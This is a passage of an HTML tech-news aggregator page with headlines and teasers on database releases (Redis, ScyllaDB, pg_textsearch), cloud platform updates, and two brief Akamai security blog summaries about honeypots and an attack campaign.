          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pg_textsearch-v10"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Hi folks, I&#39;m delighted to announce the general availability of pg_textsearch v1.0. This is an open source extension (Postgres license) supporting modern BM25 ranked keyword search with fast indexing </p>
<p><strong>📅 Apr 3, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/pg_textsearch-v10-3264/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-postgresql-cdc-evolved-read-only-mode-iam-auth-partition-support-now-in-estuary" class="group relative scroll-mt-24">
        <a href="#h3-postgresql-cdc-evolved-read-only-mode-iam-auth-partition-support-now-in-estuary" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 PostgreSQL CDC, Evolved: Read-Only Mode, IAM Auth & Partition Support Now in Estuary
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-postgresql-cdc-evolved-read-only-mode-iam-auth-partition-support-now-in-estuary"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Estuary has released significant updates to its PostgreSQL connectors, expanding support for production-grade change data capture (CDC) use cases. What&#39;s New Read-Only Capture Estuary now supports CDC</p>
<p><strong>📅 Apr 3, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/postgresql-cdc-evolved-read-only-mode-iam-auth-partition-support-now-in-estuary-3261/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-redis-joins-aws-at-gdc-to-support-the-next-generation-of-gaming" class="group relative scroll-mt-24">
        <a href="#h3-redis-joins-aws-at-gdc-to-support-the-next-generation-of-gaming" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Redis joins AWS at GDC to support the next generation of gaming
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-redis-joins-aws-at-gdc-to-support-the-next-generation-of-gaming"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Game Developers Conference is where the future of game infrastructure takes shape. Every year developers, cloud providers, and platform teams come together to share ideas, pressure test architectures,</p>
<p><strong>📅 Apr 3, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/redis-joins-aws-at-gdc-to-support-the-next-generation-of-gaming/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-scylladb-vector-search-in-action-real-time-rag-and-anomaly-detection" class="group relative scroll-mt-24">
        <a href="#h3-scylladb-vector-search-in-action-real-time-rag-and-anomaly-detection" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 ScyllaDB Vector Search in Action: Real-time RAG and Anomaly Detection
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scylladb-vector-search-in-action-real-time-rag-and-anomaly-detection"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn how ScyllaDB vector search simplifies scalable semantic search &amp; RAG with real-time performance – plus see FAQs on vector search scaling, embeddings, and architecture</p>
<p><strong>📅 Apr 2, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/04/02/scylladb-vector-search-in-action/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-atomic-slot-migration-with-redis-84" class="group relative scroll-mt-24">
        <a href="#h3-atomic-slot-migration-with-redis-84" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Atomic slot migration with Redis 8.4
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-atomic-slot-migration-with-redis-84"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In Redis 8.4, we introduced atomic slot migration (ASM), a significant improvement for anyone operating Redis Cluster at scale. We wrote this blog to teach the Redis community what Redis hash slots ar</p>
<p><strong>📅 Apr 2, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/atomic-slot-migration/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-hybrid-search-benefits-why-your-rag-system-needs-both-keyword-vector-search" class="group relative scroll-mt-24">
        <a href="#h3-hybrid-search-benefits-why-your-rag-system-needs-both-keyword-vector-search" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Hybrid search benefits: Why your RAG system needs both keyword & vector search
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-hybrid-search-benefits-why-your-rag-system-needs-both-keyword-vector-search"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Pure vector search is great until someone searches for &#39;PostgreSQL performance&#39; and you miss the document titled &#39;Optimizing Postgres queries.&#39; Pure keyword search is great until someone asks &#39;How do </p>
<p><strong>📅 Apr 1, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/hybrid-search-benefits-rag-systems/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-introducing-mongodb-agent-skills-and-plugins-for-coding-agents" class="group relative scroll-mt-24">
        <a href="#h3-introducing-mongodb-agent-skills-and-plugins-for-coding-agents" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing MongoDB Agent Skills and Plugins for Coding Agents
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-mongodb-agent-skills-and-plugins-for-coding-agents"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Software engineering is evolving into agentic engineering. According to the Stack Overflow Developer Survey 2025, 84% of respondents use or plan to use AI tools in their development, up from 76% the p</p>
<p><strong>📅 Mar 31, 2026</strong> • <strong>📰 MongoDB Blog</strong></p>
<p><a href="https://www.mongodb.com/company/blog/product-release-announcements/introducing-mongodb-agent-skills"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-scylladb-rd-year-in-review-elasticity-efficiency-and-real-time-vector-search" class="group relative scroll-mt-24">
        <a href="#h3-scylladb-rd-year-in-review-elasticity-efficiency-and-real-time-vector-search" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 ScyllaDB R&D Year in Review: Elasticity, Efficiency, and Real-Time Vector Search
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scylladb-rd-year-in-review-elasticity-efficiency-and-real-time-vector-search"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn about ScyllaDB&#39;s new features, performance improvements, and innovations -- plus, get a sneak peek into what&#39;s coming next.</p>
<p><strong>📅 Mar 31, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/03/31/scylladb-rd-year-in-review/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-good-code-wrong-model-how-to-benchmark-ai-coding-agents-for-distributed-sql" class="group relative scroll-mt-24">
        <a href="#h3-good-code-wrong-model-how-to-benchmark-ai-coding-agents-for-distributed-sql" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Good Code, Wrong Model. How to Benchmark AI Coding Agents for Distributed SQL
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-good-code-wrong-model-how-to-benchmark-ai-coding-agents-for-distributed-sql"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Your AI isn&#39;t broken, it’s just trained on a database that isn’t distributed. This blog covers the design of our new distributed SQL benchmark, examines what breaks and why, and offers a handy open-so</p>
<p><strong>📅 Mar 31, 2026</strong> • <strong>📰 Yugabyte Blog</strong></p>
<p><a href="https://www.yugabyte.com/blog/benchmark-ai-coding-agents-for-distributed-sql/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-whats-new-in-two-march-2026-edition" class="group relative scroll-mt-24">
        <a href="#h3-whats-new-in-two-march-2026-edition" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What’s new in two: March 2026 edition
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-whats-new-in-two-march-2026-edition"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Welcome to “What’s new in two,” your quick hit of Redis releases you might have missed in the past month. If you blinked, you missed it—so here’s the recap. We’re covering the latest developments from</p>
<p><strong>📅 Mar 31, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/whats-new-in-two-march-2026-edition/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-platforms" class="group relative scroll-mt-24">
        <a href="#h2-platforms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🌐 Platforms
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-platforms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="group relative scroll-mt-24">
        <a href="#h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Keep Your Tech Flame Alive: Trailblazer Rachel Bayley
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this Akamai FLAME Trailblazer blog post, Rachel Bayley encourages women to step into the unknown and to be their authentic selves.</p>
<p><strong>📅 Apr 6, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/culture/2024/may/keep-your-tech-flame-alive-trailblazer-rachel-bayley"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-oracle-of-delphi-will-steal-your-credentials" class="group relative scroll-mt-24">
        <a href="#h3-the-oracle-of-delphi-will-steal-your-credentials" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Oracle of Delphi Will Steal Your Credentials
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-oracle-of-delphi-will-steal-your-credentials"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Our deception technology is able to reroute attackers into honeypots, where they believe that they found their real target. The attacks brute forced passwords for RDP credentials to connect to the vic</p>
<p><strong>📅 Apr 6, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-oracle-of-delphi-steal-your-credentials"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="group relative scroll-mt-24">
        <a href="#h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Nansh0u Campaign – Hackers Arsenal Grows Stronger
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In the beginning of April, three attacks detected in the Guardicore Global Sensor Network (GGSN) caught our attention. All three had source IP addresses originating in South-Africa and hosted by Volum</p>
<p><strong>📅 Apr 6, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-nansh0u-campaign-hackers-arsenal-grows-stronger"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-five-great-devops-job-opportunities" class="group relative scroll-mt-24">
        <a href="#h3-five-great-devops-job-opportunities" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Five Great DevOps Job Opportunities
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-five-great-devops-job-opportunities"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Explore this week’s top DevOps and Platform Engineering roles. From $300k Cloud Engineering in Maryland to cutting-edge Agentic AI positions at T-Mobile.</p>
<p><strong>📅 Apr 6, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/five-great-devops-job-opportunities-183/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-aws-glue-schema-registry-is-now-available-in-three-more-aws-regions" class="group relative scroll-mt-24">
        <a href="#h3-aws-glue-schema-registry-is-now-available-in-three-more-aws-regions" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AWS Glue Schema Registry is now available in three more AWS regions
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-aws-glue-schema-registry-is-now-available-in-three-more-aws-regions"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>You can now use the AWS Glue Schema Registry, a serverless and free feature of AWS Glue, in the Asia Pacific (Jakarta), Europe (Spain), and Europe (Zurich) regions to validate and control the evolutio</p>
<p><strong>📅 Apr 3, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/04/aws-gsr-3-more-regions/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-whats-new-with-google-cloud" class="group relative scroll-mt-24">
        <a href="#h3-whats-new-with-google-cloud" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What’s new with Google Cloud
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-whats-new-with-google-cloud"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. Tip: Not</p>
<p><strong>📅 Apr 3, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/inside-google-cloud/whats-new-google-cloud/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-introducing-veo-31-lite-and-a-new-veo-upscaling-capability-on-vertex-ai" class="group relative scroll-mt-24">
        <a href="#h3-introducing-veo-31-lite-and-a-new-veo-upscaling-capability-on-vertex-ai" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing Veo 3.1 Lite and a new Veo upscaling capability on Vertex AI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-veo-31-lite-and-a-new-veo-upscaling-capability-on-vertex-ai"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We are introducing Veo 3.1 Lite, Google&#39;s most cost-effective video model on Vertex AI. Alongside this new model, we are also launching a new, standalone Veo upscaling capability on Vertex AI to help </p>
<p><strong>📅 Apr 3, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/products/ai-machine-learning/veo-3-1-lite-and-a-new-veo-upscaling-capability-on-vertex-ai/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-hidden-cost-of-complex-ai-platforms-why-developer-experience-matters" class="group relative scroll-mt-24">
        <a href="#h3-the-hidden-cost-of-complex-ai-platforms-why-developer-experience-matters" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Hidden Cost of Complex AI Platforms: Why Developer Experience Matters
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-hidden-cost-of-complex-ai-platforms-why-developer-experience-matters"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The cloud AI platform ecosystem today looks more powerful than ever, with access to powerful GPUs like NVIDIA H100 and H200, massive libraries of pre-trained models, and full pipelines for fine-tuning</p>
<p><strong>📅 Apr 3, 2026</strong> • <strong>📰 DigitalOcean Blog</strong></p>
<p><a href="https://www.digitalocean.com/blog/hidden-cost-of-complex-ai-platforms-developer-experience"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-friday-five-april-3-2026" class="group relative scroll-mt-24">
        <a href="#h3-friday-five-april-3-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Friday Five — April 3, 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-friday-five-april-3-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Red Hat Enhances Enterprise Stability with Red Hat Enterprise Linux Extended Life Cycle, PremiumRed Hat launched Red Hat Enterprise Linux Extended Life Cycle Premium, offering a predictable 14-year li</p>
<p><strong>📅 Apr 3, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/friday-five-april-3-2026-red-hat"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-new-tech-same-rules-cloud-lessons-for-an-ai-advantage" class="group relative scroll-mt-24">
        <a href="#h3-new-tech-same-rules-cloud-lessons-for-an-ai-advantage" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 New Tech, Same Rules: Cloud Lessons for an AI Advantage
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-new-tech-same-rules-cloud-lessons-for-an-ai-advantage"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
